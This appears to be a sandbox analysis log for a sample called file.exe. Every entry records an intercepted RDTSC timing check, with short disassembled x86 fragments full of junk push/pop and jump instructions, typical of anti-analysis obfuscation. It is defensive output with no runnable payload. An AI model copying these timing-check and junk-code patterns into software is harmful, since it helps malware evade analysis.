Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F99D second address: 81F9A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F9A8 second address: 81F9B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2CCCD92DE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FAE8 second address: 81FB12 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2CCCC4BE24h 0x0000000c jnl 00007F2CCCC4BE16h 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007F2CCCC4BE16h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FB12 second address: 81FB23 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2CCCD92DE8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FB23 second address: 81FB33 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2CCCC4BE16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FDF1 second address: 81FE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCD92DF8h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82504E second address: 82505C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2CCCC4BE18h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82505C second address: 825060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82572C second address: 825730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82597A second address: 825995 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d je 00007F2CCCD92DE6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825995 second address: 8259AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCC4BE23h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8259AC second address: 8259C0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2CCCD92DE6h 0x00000008 ja 00007F2CCCD92DE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8259C0 second address: 8259C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7804 second address: 7D782F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007F2CCCD92DE6h 0x00000009 pop edi 0x0000000a jmp 00007F2CCCD92DF5h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F2CCCD92DE8h 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D782F second address: 7D7834 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825E1A second address: 825E26 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jc 00007F2CCCD92DE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BA55 second address: 82BA6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2CCCC4BE21h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BA6B second address: 82BA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jng 00007F2CCCD92E12h 0x0000000d pushad 0x0000000e jmp 00007F2CCCD92DF4h 0x00000013 pushad 0x00000014 popad 0x00000015 jnc 00007F2CCCD92DE6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82BA9A second address: 82BA9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F79D7 second address: 7F7A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F2CCCD92DEAh 0x0000000c popad 0x0000000d xchg eax, esi 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F2CCCD92DE8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 pushad 0x00000029 mov esi, dword ptr [ebp+122D17F2h] 0x0000002f sub dword ptr [ebp+122D3A1Ch], eax 0x00000035 popad 0x00000036 nop 0x00000037 push ecx 0x00000038 jmp 00007F2CCCD92DF3h 0x0000003d pop ecx 0x0000003e push eax 0x0000003f jbe 00007F2CCCD92E04h 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7A38 second address: 7F7A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7B0E second address: 7F7B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F2CCCD92DE6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F2CCCD92DE8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7B25 second address: 7F7B57 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007F2CCCC4BE16h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F2CCCC4BE25h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jne 00007F2CCCC4BE16h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7B57 second address: 7F7B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7B5C second address: 7F7B75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2CCCC4BE24h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F82A6 second address: 7F82C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 movsx edi, ax 0x0000000a mov ecx, 10843195h 0x0000000f push 0000001Eh 0x00000011 mov edx, 06F8F018h 0x00000016 nop 0x00000017 pushad 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F82C1 second address: 7F82CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F82CA second address: 7F82CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F82CE second address: 7F82ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F845F second address: 7F8474 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2CCCD92DECh 0x00000008 jc 00007F2CCCD92DE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8474 second address: 7F847A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F85A9 second address: 7F85AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F85AE second address: 7F85B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F85B4 second address: 7F85B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F86BB second address: 7D7804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2CCCC4BE1Eh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F2CCCC4BE18h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov ecx, dword ptr [ebp+122D2ACDh] 0x00000030 call dword ptr [ebp+124487BBh] 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F2CCCC4BE28h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AD17 second address: 82AD1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AD1D second address: 82AD21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AD21 second address: 82AD52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F2CCCD92DECh 0x0000000c jbe 00007F2CCCD92DE6h 0x00000012 jc 00007F2CCCD92DEAh 0x00000018 pushad 0x00000019 popad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F2CCCD92DF3h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AEA6 second address: 82AED6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCC4BE26h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2CCCC4BE21h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AED6 second address: 82AEE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F2CCCD92DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AEE0 second address: 82AEF0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2CCCC4BE16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AEF0 second address: 82AEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B010 second address: 82B014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B014 second address: 82B02B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B30E second address: 82B312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B5CC second address: 82B5D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B5D0 second address: 82B5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B5DA second address: 82B5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A75E7 second address: 7A75F0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A75F0 second address: 7A75F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83337A second address: 833380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832F77 second address: 832F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833D94 second address: 833D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833D9C second address: 833DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833DA2 second address: 833DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 833EEB second address: 833EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2CCCD92DEFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839809 second address: 839817 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 839508 second address: 83950E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83950E second address: 839538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jno 00007F2CCCC4BE1Ah 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2CCCC4BE23h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C470 second address: 83C476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C476 second address: 83C47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C47C second address: 83C480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AFD19 second address: 7AFD1F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83BD0F second address: 83BD1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C169 second address: 83C173 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DABD second address: 83DAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83DAC7 second address: 83DADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2CCCC4BE1Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AE2B3 second address: 7AE2C5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2CCCD92DECh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8421DB second address: 8421DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8421DF second address: 8421E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8421E3 second address: 842209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2CCCC4BE16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2CCCC4BE28h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842209 second address: 84220D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841EF1 second address: 841EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841EF7 second address: 841F12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2CCCD92DEBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007F2CCCD92DE6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845D29 second address: 845D33 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2CCCC4BE16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845D33 second address: 845D56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2CCCD92DF7h 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F2CCCD92DE6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9CF8 second address: 7B9D2C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2CCCC4BE18h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jnc 00007F2CCCC4BE1Ch 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2CCCC4BE1Ch 0x00000019 jns 00007F2CCCC4BE1Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9D2C second address: 7B9D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845042 second address: 845049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84534D second address: 845377 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2CCCD92DECh 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a pushad 0x0000001b jl 00007F2CCCD92DE6h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8454CD second address: 8454D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845765 second address: 845778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 popad 0x00000008 jc 00007F2CCCD92DF0h 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8458D1 second address: 8458E1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F2CCCC4BE1Ah 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8458E1 second address: 84590B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F2CCCD92DE6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b je 00007F2CCCD92DE6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F2CCCD92DF2h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84590B second address: 84590F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B108 second address: 84B10C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B10C second address: 84B116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849CEF second address: 849CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849CF3 second address: 849D03 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2CCCC4BE16h 0x00000008 jns 00007F2CCCC4BE16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849F5D second address: 849F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F2CCCD92DF1h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A0E7 second address: 84A0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A0ED second address: 84A0F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
